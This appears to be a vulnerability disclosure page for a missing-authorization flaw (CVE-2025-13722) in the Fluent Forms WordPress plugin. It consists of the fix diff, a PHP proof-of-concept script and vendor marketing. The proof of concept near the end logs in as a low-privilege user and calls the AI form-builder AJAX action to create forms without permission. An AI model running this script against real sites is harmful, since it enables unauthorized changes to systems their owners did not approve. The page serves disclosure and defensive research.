+            $paymentsQuery = $paymentsQuery->where('fluentform_transactions.payment_method', $paymentMethods);
         }
         $paymentsPaginate = $paymentsQuery->paginate($perPage);

@@ -114,10 +123,22 @@
     {
         Acl::verify('fluentform_forms_manager');

-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce verified in route registration, data sanitized below
-        $entries    = isset($_REQUEST['entries']) ? wp_unslash($_REQUEST['entries']) : [];
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified in route registration
-        $actionType = isset($_REQUEST['action_type']) ? sanitize_text_field(wp_unslash($_REQUEST['action_type'])) : '';
+        $request = wpFluentForm()->request;
+        $attributes = $request->all();
+
+        $sanitizeMap = [
+            'entries' => function($value) {
+                if (is_array($value)) {
+                    return array_map('intval', $value);
+                }
+                return [];
+            },
+            'action_type' => 'sanitize_text_field',
+        ];
+        $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+        $entries = ArrayHelper::get($attributes, 'entries', []);
+        $actionType = ArrayHelper::get($attributes, 'action_type');
         if (!$actionType || !count($entries)) {
             wp_send_json_error([
                 'message' => __('Please select entries & action first', 'fluentform')
--- a/fluentform/app/Modules/Payments/PaymentMethods/Stripe/StripeInlineProcessor.php
+++ b/fluentform/app/Modules/Payments/PaymentMethods/Stripe/StripeInlineProcessor.php
@@ -171,6 +171,9 @@
             }
             $this->processScaBeforeVerification($submission->form_id, $submission->id, $transactionId, $invoice->payment_intent->id);

+            $nonceAction = 'fluentform_sca_confirm_' . $submission->id;
+            $nonce = wp_create_nonce($nonceAction);
+
             wp_send_json_success([
                 'nextAction'             => 'payment',
                 'actionName'             => 'stripeSetupIntent',
@@ -181,6 +184,7 @@
                 'customer_name'          => ($transaction) ? $transaction->payer_name : '',
                 'customer_email'         => ($transaction) ? $transaction->payer_email : '',
                 'client_secret'          => $invoice->payment_intent->client_secret,
+                '_ff_stripe_nonce'       => $nonce,
                 'message'                => __('Verifying your card details. Please wait...', 'fluentform'),
                 'result'                 => [
                     'insert_id' => $submission->id
@@ -286,12 +290,17 @@
         ) {
             $this->processScaBeforeVerification($submission->form_id, $submission->id, $transaction->id, $intent->id);

+            // Generate nonce for secure SCA confirmation
+            $nonceAction = 'fluentform_sca_confirm_' . $submission->id;
+            $nonce = wp_create_nonce($nonceAction);
+
             # Tell the client to handle the action
             wp_send_json_success([
                 'nextAction'    => 'payment',
                 'actionName'    => 'initStripeSCAModal',
                 'submission_id' => $submission->id,
                 'client_secret' => $intent->client_secret,
+                '_ff_stripe_nonce' => $nonce,
                 'message'       => apply_filters('fluentform/stripe_strong_customer_verify_waiting_message', __('Verifying strong customer authentication. Please wait...', 'fluentform')),
                 'result'        => [
                     'insert_id' => $submission->id
@@ -367,15 +376,89 @@
         $this->sendSuccess($submission);
     }

+    /**
+     * Validate SCA payment confirmation request
+     *
+     * @param int $submissionId Submission ID
+     * @param string $paymentIntentId Payment Intent ID
+     * @param object|null $submission Submission object
+     * @param object|null $transaction Transaction object
+     * @return array|WP_Error Array with validation result or WP_Error on strict mode failure
+     */
+    protected function validateScaRequest($submissionId, $paymentIntentId, $submission = null, $transaction = null)
+    {
+        $strictMode = apply_filters('fluentform/stripe_sca_strict_security', false);
+        $warnings = [];
+
+        // Validate nonce (optional in non-strict mode for backward compatibility)
+        $nonce = isset($_REQUEST['_ff_stripe_nonce']) ? sanitize_text_field(wp_unslash($_REQUEST['_ff_stripe_nonce'])) : '';
+
+        if ($nonce) {
+            $nonceAction = 'fluentform_sca_confirm_' . $submissionId;
+            if (!wp_verify_nonce($nonce, $nonceAction)) {
+                $error = __('Security verification failed. Invalid nonce.', 'fluentform');
+                if ($strictMode) {
+                    return new WP_Error('invalid_nonce', $error);
+                }
+                $warnings[] = 'Invalid nonce provided';
+            }
+        } else {
+            $warning = 'No nonce provided for SCA payment confirmation';
+            if ($strictMode) {
+                return new WP_Error('missing_nonce', __('Security verification failed. Nonce required.', 'fluentform'));
+            }
+            $warnings[] = $warning;
+        }
+
+        // Validate submission exists
+        if (!$submission || !$submission->id) {
+            return new WP_Error('invalid_submission', __('Invalid submission.', 'fluentform'));
+        }
+
+
+        if ($submission->payment_status === 'paid') {
+            return new WP_Error(
+                'already_paid',
+                __('This payment has already been completed and cannot be modified.', 'fluentform')
+            );
+        }
+
+        // stores it in transaction.charge_id, and frontend sends it back.
+        // Mismatch only occurs during attack attempts.
+        if ($transaction && $transaction->charge_id) {
+            if ($transaction->charge_id !== $paymentIntentId) {
+                return new WP_Error(
+                    'payment_intent_mismatch',
+                    __('Payment verification failed. Payment intent does not match.', 'fluentform')
+                );
+            }
+        }
+
+        // Log warnings for monitoring
+        if (!empty($warnings) && defined('WP_DEBUG') && WP_DEBUG) {
+            $logData = [
+                'parent_source_id' => $submission->form_id,
+                'source_type'      => 'submission_item',
+                'source_id'        => $submission->id,
+                'component'        => 'Payment',
+                'status'           => 'warning',
+                'title'            => __('Stripe SCA Security Warning', 'fluentform'),
+                'description'      => implode('; ', $warnings)
+            ];
+            do_action('fluentform/log_data', $logData);
+        }
+
+        return [
+            'valid'    => true,
+            'warnings' => $warnings
+        ];
+    }
+
     public function confirmScaPayment()
     {
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Stripe webhook signature
-        $formId = isset($_REQUEST['form_id']) ? intval($_REQUEST['form_id']) : 0;
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Stripe webhook signature
-        $submissionId = isset($_REQUEST['submission_id']) ? intval($_REQUEST['submission_id']) : 0;
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Stripe webhook signature
+        $formId = isset($_REQUEST['form_id']) ? (int)$_REQUEST['form_id'] : 0;
+        $submissionId = isset($_REQUEST['submission_id']) ? (int)$_REQUEST['submission_id'] : 0;
         $paymentMethod = isset($_REQUEST['payment_method']) ? sanitize_text_field(wp_unslash($_REQUEST['payment_method'])) : '';
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Stripe webhook signature
         $paymentIntentId = isset($_REQUEST['payment_intent_id']) ? sanitize_text_field(wp_unslash($_REQUEST['payment_intent_id'])) : '';

         $this->setSubmissionId($submissionId);
@@ -384,6 +467,14 @@

         $transaction = $this->getLastTransaction($submissionId);

+        $validation = $this->validateScaRequest($submissionId, $paymentIntentId, $submission, $transaction);
+
+        if (is_wp_error($validation)) {
+            wp_send_json([
+                'errors' => $validation->get_error_message()
+            ], 423);
+        }
+
         $confirmation = SCA::confirmPayment($paymentIntentId, [
             'payment_method' => $paymentMethod
         ], $formId);
@@ -403,17 +494,24 @@

     public function confirmScaSetupIntentsPayment()
     {
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Stripe webhook signature
         $formId = isset($_REQUEST['form_id']) ? intval($_REQUEST['form_id']) : 0;
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Stripe webhook signature
         $submissionId = isset($_REQUEST['submission_id']) ? intval($_REQUEST['submission_id']) : 0;
-        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Stripe webhook signature
         $intentId = isset($_REQUEST['payment_intent_id']) ? sanitize_text_field(wp_unslash($_REQUEST['payment_intent_id'])) : '';

         $this->setSubmissionId($submissionId);
         $this->form = $this->getForm();

         $submission = $this->getSubmission();
+        $transaction = $this->getLastTransaction($submissionId);
+
+        // Validate the request with backward compatibility
+        $validation = $this->validateScaRequest($submissionId, $intentId, $submission, $transaction);
+
+        if (is_wp_error($validation)) {
+            wp_send_json([
+                'errors' => $validation->get_error_message()
+            ], 423);
+        }

         // Let's retrieve the intent
         $intent = SCA::retrievePaymentIntent($intentId, [
--- a/fluentform/app/Services/ConditionAssesor.php
+++ b/fluentform/app/Services/ConditionAssesor.php
@@ -4,11 +4,12 @@

 use FluentFormAppHelpersHelper;
 use FluentFormAppHelpersStr;
+use FluentFormAppServicesFormBuilderEditorShortcodeParser;
 use FluentFormFrameworkHelpersArrayHelper as Arr;

 class ConditionAssesor
 {
-    public static function evaluate(&$field, &$inputs)
+    public static function evaluate(&$field, &$inputs, $form = null)
     {
         $status = Arr::get($field, 'conditionals.status');
         if (!$status) {
@@ -19,22 +20,22 @@

         // Handle group conditions
         if ($type === 'group' && $conditionGroups = Arr::get($field, 'conditionals.condition_groups')) {
-            return self::evaluateGroupConditions($conditionGroups, $inputs);
+            return self::evaluateGroupConditions($conditionGroups, $inputs, $form);
         }

         // Handle 'any', 'all' conditions
         if ($type !== 'group' && $conditions = Arr::get($field, 'conditionals.conditions')) {
-            return self::evaluateConditions($conditions, $inputs, $type);
+            return self::evaluateConditions($conditions, $inputs, $type, $form);
         }
         return true;
     }

-    private static function evaluateGroupConditions($conditionGroups, &$inputs)
+    private static function evaluateGroupConditions($conditionGroups, &$inputs, $form = null)
     {
         $hasGroupConditionsMet = true;
         foreach ($conditionGroups as $group) {
             if ($conditions = Arr::get($group, 'rules')) {
-                $hasGroupConditionsMet = self::evaluateConditions($conditions, $inputs, 'all');
+                $hasGroupConditionsMet = self::evaluateConditions($conditions, $inputs, 'all', $form);
                 if ($hasGroupConditionsMet) {
                     return true;
                 }
@@ -43,7 +44,7 @@
         return $hasGroupConditionsMet;
     }

-    private static function evaluateConditions($conditions, &$inputs, $type)
+    private static function evaluateConditions($conditions, &$inputs, $type, $form = null)
     {
         $hasConditionMet = true;

@@ -52,7 +53,7 @@
                 continue;
             }

-            $hasConditionMet = static::assess($condition, $inputs);
+            $hasConditionMet = static::assess($condition, $inputs, $form);

             if ($hasConditionMet && $type == 'any') {
                 return true;
@@ -66,7 +67,7 @@
         return $hasConditionMet;
     }

-    public static function assess(&$conditional, &$inputs)
+    public static function assess(&$conditional, &$inputs, $form = null)
     {
         if ($conditional['field']) {
             $accessor = rtrim(str_replace(['[', ']', '*'], ['.'], $conditional['field']), '.');
@@ -79,75 +80,144 @@
             if ($numericFormatter = Arr::get($conditional, 'numeric_formatter')) {
                 $inputValue = Helper::getNumericValue($inputValue, $numericFormatter);
             }
+            $conditionValue = Arr::get($conditional, 'value');
+            $isArrayAcceptable = in_array($conditional['operator'], ['=', '!=']);
+            if (!empty($conditionValue) && is_string($conditionValue)) {
+                $conditionValue = self::processSmartCodesInValue($conditionValue, $inputs, $form, $isArrayAcceptable);
+            }

+            $conditionValue = is_null($conditionValue) ? '' : $conditionValue;
+
             switch ($conditional['operator']) {
                 case '=':
-                    if(is_array($inputValue)) {
-                       return in_array($conditional['value'], $inputValue);
+                    if (is_array($inputValue) && is_array($conditionValue)) {
+                        $flatInput = Arr::flatten($inputValue);
+                        $flatCondition = Arr::flatten($conditionValue);
+                        sort($flatInput);
+                        sort($flatCondition);
+                        return $flatInput == $flatCondition;
+                    }
+
+                    if (is_array($conditionValue)) {
+                        return in_array($inputValue, Arr::flatten($conditionValue));
+                    }
+                    if (is_array($inputValue)) {
+                        return in_array($conditionValue, Arr::flatten($inputValue));
                     }
-                    return $inputValue == $conditional['value'];
-                    break;
+                    return $inputValue == $conditionValue;
                 case '!=':
-                    if(is_array($inputValue)) {
-                        return !in_array($conditional['value'], $inputValue);
+                    if (is_array($inputValue) && is_array($conditionValue)) {
+                        return count(array_intersect(Arr::flatten($inputValue), Arr::flatten($conditionValue))) == 0;
+                    }
+                    if (is_array($conditionValue)) {
+                        return !in_array($inputValue, Arr::flatten($conditionValue));
                     }
-                    return $inputValue != $conditional['value'];
-                    break;
+                    if (is_array($inputValue)) {
+                        return !in_array($conditionValue, Arr::flatten($inputValue));
+                    }
+                    return $inputValue != $conditionValue;
                 case '>':
-                    return $inputValue > $conditional['value'];
-                    break;
+                    return $inputValue > $conditionValue;
                 case '<':
-                    return $inputValue < $conditional['value'];
-                    break;
+                    return $inputValue < $conditionValue;
                 case '>=':
-                    return $inputValue >= $conditional['value'];
-                    break;
+                    return $inputValue >= $conditionValue;
                 case '<=':
-                    return $inputValue <= $conditional['value'];
-                    break;
+                    return $inputValue <= $conditionValue;
                 case 'startsWith':
-                    return Str::startsWith($inputValue, $conditional['value']);
-                    break;
+                    return Str::startsWith($inputValue, $conditionValue);
                 case 'endsWith':
-                    return Str::endsWith($inputValue, $conditional['value']);
-                    break;
+                    return Str::endsWith($inputValue, $conditionValue);
                 case 'contains':
-                    return Str::contains($inputValue, $conditional['value']);
-                    break;
+                    return Str::contains($inputValue, $conditionValue);
                 case 'doNotContains':
-                    return !Str::contains($inputValue, $conditional['value']);
-                    break;
+                    return !Str::contains($inputValue, $conditionValue);
                 case 'length_equal':
-                    if(is_array($inputValue)) {
-                        return count($inputValue) == $conditional['value'];
+                    if (is_array($inputValue)) {
+                        return count($inputValue) == $conditionValue;
                     }
-                    $inputValue = strval($inputValue);
-                    return strlen($inputValue) == $conditional['value'];
-                    break;
+                    $inputValue = (string)$inputValue;
+                    return strlen($inputValue) == $conditionValue;
                 case 'length_less_than':
-                    if(is_array($inputValue)) {
-                        return count($inputValue) < $conditional['value'];
+                    if (is_array($inputValue)) {
+                        return count($inputValue) < $conditionValue;
                     }
-                    $inputValue = strval($inputValue);
-                    return strlen($inputValue) < $conditional['value'];
-                    break;
+                    $inputValue = (string)$inputValue;
+                    return strlen($inputValue) < $conditionValue;
                 case 'length_greater_than':
-                    if(is_array($inputValue)) {
-                        return count($inputValue) > $conditional['value'];
+                    if (is_array($inputValue)) {
+                        return count($inputValue) > $conditionValue;
                     }
-                    $inputValue = strval($inputValue);
-                    return strlen($inputValue) > $conditional['value'];
-                    break;
+                    $inputValue = (string)$inputValue;
+                    return strlen($inputValue) > $conditionValue;
                 case 'test_regex':
-                    if(is_array($inputValue)) {
+                    if (is_array($inputValue)) {
                         $inputValue = implode(' ', $inputValue);
                     }
-                    $result = preg_match('/'.$conditional['value'].'/', $inputValue);
-                    return !!$result;
-                    break;
+                    $pattern = '/' . $conditionValue . '/';
+                    $result = @preg_match($pattern, $inputValue);
+                    if ($result === false) {
+                        // Invalid regex pattern, handle gracefully
+                        return false;
+                    }
+                    return (bool) $result;
             }
         }

         return false;
     }
+
+    private static function processSmartCodesInValue($value, &$inputs, $form = null, $isArrayAcceptable = true)
+    {
+        if (strpos($value, '{') === false) {
+            return $value;
+        }
+
+        if (preg_match('/^{inputs.([^}]+)}$/', $value, $inputMatches)) {
+            $fieldName = $inputMatches[1];
+            $fieldKey = str_replace(['[', ']'], ['.', ''], $fieldName);
+
+            $resolvedValue = Arr::get($inputs, $fieldKey);
+
+            if ($resolvedValue === null && $fieldKey !== $fieldName) {
+                $resolvedValue = Arr::get($inputs, $fieldName);
+            }
+
+            // Return array if it's an array
+            if (is_array($resolvedValue) && $isArrayAcceptable) {
+                return $resolvedValue;
+            }
+        }
+
+        try {
+            $processedValue = preg_replace_callback('/{+(.*?)}/', function ($matches) use ($inputs, $form) {
+                $smartCode = $matches[1];
+
+                if (false !== strpos($smartCode, 'inputs.')) {
+                    $fieldName = substr($smartCode, strlen('inputs.'));
+
+                    $fieldKey = str_replace(['[', ']'], ['.', ''], $fieldName);
+
+                    $value = Arr::get($inputs, $fieldKey, '');
+
+                    if ($value === '' && $fieldKey !== $fieldName) {
+                        $value = Arr::get($inputs, $fieldName, '');
+                    }
+
+                    if (is_array($value)) {
+                        $value = fluentImplodeRecursive(', ', $value);
+                    }
+
+                    return $value !== null && $value !== '' ? $value : '';
+                }
+
+                // @todo Support general shortcodes in future
+                return '';
+            }, $value);
+
+            return $processedValue;
+        } catch (Exception $e) {
+            return $value;
+        }
+    }
 }
--- a/fluentform/app/Services/Form/SubmissionHandlerService.php
+++ b/fluentform/app/Services/Form/SubmissionHandlerService.php
@@ -219,6 +219,7 @@

         if ($insertId) {
             ob_start();
+            $formData = apply_filters('fluentform/submission_form_data', $formData, $insertId, $form);
             $this->submissionService->recordEntryDetails($insertId, $form->id, $formData);
             $isError = ob_get_clean();
             if ($isError) {
@@ -227,6 +228,8 @@
         }
         $error = '';
         try {
+            $formData = apply_filters('fluentform/submission_form_data', $formData, $insertId, $form);
+
             do_action('fluentform_submission_inserted', $insertId, $formData, $form);

             do_action('fluentform/submission_inserted', $insertId, $formData, $form);
--- a/fluentform/app/Services/Form/Updater.php
+++ b/fluentform/app/Services/Form/Updater.php
@@ -13,9 +13,9 @@
 {
     public function update($attributes = [])
     {
-        $formId = Arr::get($attributes, 'form_id');
+        $formId = (int)Arr::get($attributes, 'form_id');
         $formFields = Arr::get($attributes, 'formFields');
-        $status = Arr::get($attributes, 'status', 'published');
+        $status = sanitize_text_field(Arr::get($attributes, 'status', 'published'));
         $title = sanitize_text_field(Arr::get($attributes, 'title'));

         $this->validate([
--- a/fluentform/app/Services/GlobalSettings/GlobalSettingsService.php
+++ b/fluentform/app/Services/GlobalSettings/GlobalSettingsService.php
@@ -36,7 +36,7 @@

     public function store($attributes = [])
     {
-        $key = Arr::get($attributes, 'key');
+        $key = sanitize_text_field(Arr::get($attributes, 'key'));

         $globalSettingsHelper = new GlobalSettingsHelper(

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13722 - Fluent Forms <= 6.1.7 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Form Creation via AI Builder

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to obtain WordPress cookies and nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);

// Step 2: Visit admin page to obtain nonce for fluentform_ai_create_form action
$admin_url = $target_url . '/wp-admin/admin.php?page=fluent_forms';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Extract nonce from page (simplified - in reality would parse HTML for nonce)
// Nonce is typically in a script tag or data attribute
// For this PoC, we assume the attacker can obtain a valid nonce as a Subscriber

// Step 3: Exploit the missing authorization to create a form via AI builder
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'fluentform_ai_create_form',
    'query' => 'Create a contact form with name, email, and message fields',
    'additional_query' => 'Include a phone number field',
    '_wpnonce' => 'EXTRACTED_NONCE_HERE' // Replace with actual nonce
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$response = curl_exec($ch);

// Check response for success
if (strpos($response, '"success":true') !== false) {
    echo "Form created successfully!n";
    echo "Response: " . $response . "n";
} else {
    echo "Exploit failed. Response: " . $response . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School